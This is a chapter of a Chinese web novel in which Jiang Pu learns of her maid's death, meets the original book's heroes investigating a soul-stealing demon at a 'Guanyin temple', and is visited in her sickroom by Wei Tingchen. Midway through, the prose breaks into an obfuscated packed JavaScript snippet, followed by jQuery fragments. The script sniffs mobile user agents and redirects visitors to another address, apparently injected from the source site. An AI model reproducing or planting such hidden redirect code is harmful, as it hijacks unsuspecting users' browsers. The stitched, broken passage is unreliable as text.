“什么?”姜菩不可置信地睁大眼,脑中浮现出昨晚遇见凭枝时的样子。
她当时的模样就很不对劲,两人照面匆匆,姜菩只凭借烛光看清了她算不上好的脸色。
如果她当时可以多问问,也许她就不会……
“她在哪儿,带我去看看……”
说着,姜菩就要拨开人群往丫鬟跑来的方向去。
丫鬟扑通一声跪下,颤巍巍的手揪住她的裙摆,力气不大,姜菩却生生住了脚。
“小姐……她死得模样可怖,老爷不叫你过去。”丫鬟的哭腔断断续续,“您若过去,老爷知道了……定,定要怪罪……”
“爹那边我去说。”姜菩尽力让自己不慌乱,“你先带我去。”
丫鬟听她这么讲,不敢忤逆,泥灰覆满的手狠狠抹了把脸,爬起身当头在两人前面带路。
午时光影明烁,纷乱的脚步声回响在寂静的小径中,莫名让人心里发紧。
远远的,姜菩就看见开阔地的花圃中,一男一女两个青年人正同郡守站在一处正在商议什么。
男的一身淡紫色流纹袍,眉眼风流,女的一袭玄色束身劲装,腰间挂着条同色铁鞭,神情平静无波,说到某句话时眉头偶尔会轻轻锁起。
典型的外貌特征,可不就是原书男女主莫青鸾和江无言嘛!
姜菩脚步顿了顿,那边的两人人也注意到他们,转过头,几道目光交汇在一起。
“认识?”
卫听尘站在她身侧,下巴微抬,从她的角度能看到他卷翘的睫毛和勾起的唇角。
姜菩飞快看他眼,否认道:“久仰大名。”
卫听尘颔首道:“那就是不认识了。”
莫青鸾的目光在两人身上转了几圈,额外在卫听尘身上多停留片刻,点点头,权当打了招呼。
这下轮到姜菩惊讶:“你们认识?”
卫听尘收敛了笑容,意味深长道:“一面之缘。”
她若有所思地“嗯”了声。
几人的眉眼官司没逃过郡守的眼睛,他梭视一圈,最后看向姜菩。
他嘴里“哎呦”,抬起袖口点擦额头上的汗,小碎步迎上来,挡在姜菩跟前:“阿乔啊,你怎么来啦?这边危险,你先回去,爹等会儿去找你说,成不?”
说着,他瞥眼瞪向一旁缩手缩脚的丫鬟,“谁让你叫小姐来的,还不快扶阿乔下去休息!”
丫鬟被吼得缩了缩肩膀,唯唯诺诺地点头应是。
卫听尘越过拉扯纠缠的父女俩,同莫青鸾他们站在一处,垂眸看向地上横陈的女尸。
面容青灰,口鼻大张,显然是魂魄尽失的死法。
莫青鸾率先开口,清冷的眼转过来,眉心压着,“如今的情况比起郡守传信来时更加恶劣,恶妖的意图显然不是杀两个人那么简单。”
来信中只说安平郡近日妖患日重,常有百姓无故失踪,过不了几天便会自己归家,不过失魂失魄,貌若痴傻,还不到出人命的地步。可他们今日刚到,就在郡守府中撞上这一桩恶劣的案情,让她不得不多想。
“对了卫公子,”莫青鸾忽然想到什么,“我和无言来时总能在安平郡百姓口中听到一个叫‘观音庙’的地方,你知道这地方么?”
他们到安平郡后并没有着急来郡守府,反而在郡中多方调查打听一日,这一打听,得知了不得了的事情。
原来那些失踪后又回来的失魂百姓,在失踪前都和家里人提到过“观音庙”这地方,按照他们的说法,观音庙是个顶顶神奇的地方,只要心诚之人在某个特殊的时间点前往供奉神仙许下心愿,他们就能彻底摆脱当前的苦难,重获新生。
这说法一听就很假,可耐不住有的人迷失心智,破罐子破摔非得去看看。而去过观音庙的人,无一例外都成了那副呆傻失魂的模样。
卫听尘佯作思考,缓声道:“是安平郡外荒原上的一处破庙……我就是在那里遇见姜小姐的。”
“姜小姐?”莫青鸾与身旁的江无言对视一眼,神色更加凝重,“是郡守千金。”
“是,就是方才同我一起来的那位姑娘。”
闻言,莫青鸾转头看向被郡守拦在几步开外的姜菩。
她被郡守缠得不行,没法过来,只好一步三回头地离开,走时还不忘回头,抬手同卫听尘比划着什么。
她的身影消失在尽头,郡守这才松口气,抱歉地对几人道:“小女体弱,见不了这些东西,见谅见谅。”
莫青鸾不和他弯绕,言简意赅:“我怀疑,恶妖此举便是冲着姜小姐来的。”
郡守原本缓和的神色猝然一惊,圆脸青灰,磕绊道:“什么?是……是冲着阿乔来的?”
“还不确定,但确实有这个可能。”
听见她堪比于下结论的话,郡守小腿一软,眼前一黑就要晕过去。
身旁伺候的小厮眼疾手快,咬牙支住他肥胖的身子。
郡守稳住身形,嗓音发颤,“莫掌司,你可一定要救救我的阿乔啊……她还小,可不能被恶妖抓去了,她受不住的……”
“郡守放心。”眼见莫青鸾伸手要去扶他,江无言抢先一步拉起郡守伸过来的手,“我们既然来了,断不会让恶妖伤人之事再次发生。”
郡守望着他的脸,眼中真情实感地冒出泪花。
卫听尘没参与到执手相望,低声嘀咕的三人之中,复又打量起死去的凭枝,眸中闪着兴味的光。
*
姜菩再一次被拘在了自己的小院里。
照郡守爹的说法,恶妖心思歹毒,说不定什么时候就要把主意打在她身上,还是谨慎些比较好。
说话时他满脸忧愁,仿佛她已经被恶妖抓住吸干魂魄,只剩具没心肝的皮囊立在他跟前。
姜菩本人倒是对这些话没什么大反应,照旧每日吃吃喝喝,趁天光大好时精进自己的绣技,偶尔喊一二丫鬟进来说说话。
依她的想法,方寸大的院中不知道布下多少符咒,任什么妖进来都得掉层皮,况且还有郡守每日拿进来的各色灵器,应该没有妖想不开非要进来闯一闯。
姜菩侧卧在床上,支着脑袋数日子。
自打凭枝出事已经是七八天前的事了,她待在屋里记不清时间,只能依靠喝了几次苦涩的药来算过了几天。
按照日子来算,再过上五天便是上元节了。
想起府医的诊断,姜菩悠悠叹了口气。
她能感觉到自己的身子正在日益衰败,前几日还能下床走上几步,如今早睡晚起,眼皮灌铅一样的沉,下床多灌两口风就要咳得昏天黑地。
门“吱呀”一声开了,姜菩翘头看去,一方月白色衣角先飘进来,紧接着就是熟悉苦涩的药香。
姜菩生无可恋地躺倒回去,拉起被子蒙住头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125828|196064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚步声从门口蔓延,一路踱到床边。愈发浓烈的苦香缠过来,姜菩翻了个身,背对来人。
“你把药放那儿就行,我等下喝。”
进来的人没动,静静站在原地。
姜菩心里直叫苦,僵持几息,她认命似的掀开被子做起,余光瞥见药碗,夺过,昂首一饮而尽。
她的脸皱成副苦瓜样,忙从枕边的小兜里掏出颗甜果丢进嘴里。
放甜果的兜显然是她自己绣的,针脚算不上齐整,几朵花绽着可怜的五片花瓣簇拥在一起。
卫听尘原本面无表情看着,不知她哪个动作戳中他,唇角一弯,低声笑了出来。
听到是他的声音,姜菩木头人似的定住了,迟滞地抬头。
“怎么是你?”
“我不能来么?”卫听尘丝毫没觉得有什么不对,极其自然地接过她手中见底的药碗。
姜菩揽过被子披到自己肩头,用下巴抵住,脸涨得通红。
她支支吾吾:“女儿家的闺房……你、你怎么能随便进来,而且我还没起床……”
“唔……”
卫听尘沉吟,似乎姜菩突如其来的羞赧让他感到困惑,他的视线从她身上划过,落在被子后露出的半边锁骨上。
少女身形病弱纤细,淡青色的血管顺着白皙的脖颈向锁骨下延伸,墨发及腰,披帛般铺了满床。
他像忽的被火燎到,视线移开,耳根子跟着发烫。
几步走到门边,背对着里屋。
姜菩看着他的背影,暗暗嘀咕病娇一惊一乍,手下动作不停,捞起件衣裳就往身上套。
整理好自己,打量没什么不妥的地方,姜菩清清嗓子,扬声冲门口的人道:“我好了……”
尾音落下,她抿抿唇,脸颊飞上两片红云。
这话听着怎么总有种别的什么意思。
卫听尘应了声回身,可人还站在几尺开外,手中木碗沉甸甸,他突然觉得自己今天的作为有些……难以置信。
压住眼底快要溢出来的幽暗,他低低嗤笑声。
时近上元,郡守府中众人皆行色匆匆,他原本是要随莫青鸾他们一起去调查观音庙恶妖一事,可当他经过这处小院,看见个丫鬟端着药碗往里走时,脑中莫名浮现出姜菩皱成一团的包子脸。
等回过神来,药碗已被他抢进手里,丫鬟唯唯诺诺告退,四周只剩下冷冷清清的风声。
进了门,看见如自己想象中一般模样的姜菩,他的心蓦然松弛下来。
他搞不懂这种情绪究竟从哪里来,来得莫名,却能左右自己的行动。
真是好笑。
姜菩疑惑的声音还在响:“卫听尘,你怎的不说话?”
卫听尘不喜欢姜菩的声音。
尖尖细细的,像只小猫儿的呜咽,在人喉头和心尖上挠,令他烦躁得很。
他撂下木碗,垂落的眼睫盖住他的情绪,“过几日便是上元节了,到时……我有礼物送你。”
卫听尘笑如春风,歪头遥遥看向床上侧坐的姜菩。
他显然看见她圆溜的眼睛亮亮,雀跃道:“是嘛,谢谢你!”
姜菩简直受宠若惊,她心里放起烟花,乐得眉眼弯起。
任务进展这么迅速吗?他们竟然已经到了可以互换礼物的地步!
她郑重握拳,真挚回看他:“那……我也送你个亲手做的香囊罢!”